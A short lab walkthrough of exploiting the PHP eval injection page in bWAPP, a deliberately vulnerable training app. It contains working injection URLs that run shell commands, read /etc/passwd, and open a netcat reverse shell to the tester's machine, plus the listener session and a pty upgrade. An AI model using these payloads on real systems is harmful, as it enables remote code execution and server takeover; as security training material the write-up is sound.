bWAPP PHP Eval Function

First we need to test the eval parameter to see if it is indeed evaluating php code.

http://192.168.56.101/bWAPP/php_eval.php?eval=echo "TeStVUln";

Since we know we can evaluate php code we can run system commands using the shell_exec function.

http://192.168.56.101/bWAPP/php_eval.php?eval=echo shell_exec("id");

We get back the id of the current user on the remote host.

http://192.168.56.101/bWAPP/php_eval.php?eval=echo shell_exec("cat /etc/passwd");

Here we dumped the contents of /etc/passwd. Our next task is to get a connect back shell to our local box.

http://192.168.56.101/bWAPP/php_eval.php?eval=echo shell_exec("nc -e /bin/sh 192.168.56.1 8088");

We sent the command and got a connect back.

sam@ubuntu:~/pentest$ nc -lvp 8088
Listening on [0.0.0.0] (family 0, port 8088)
Connection from 192.168.56.101 34263 received!
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@bee-box:/var/www/bWAPP$ id;whoami
id;whoami
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
www-data@bee-box:/var/www/bWAPP$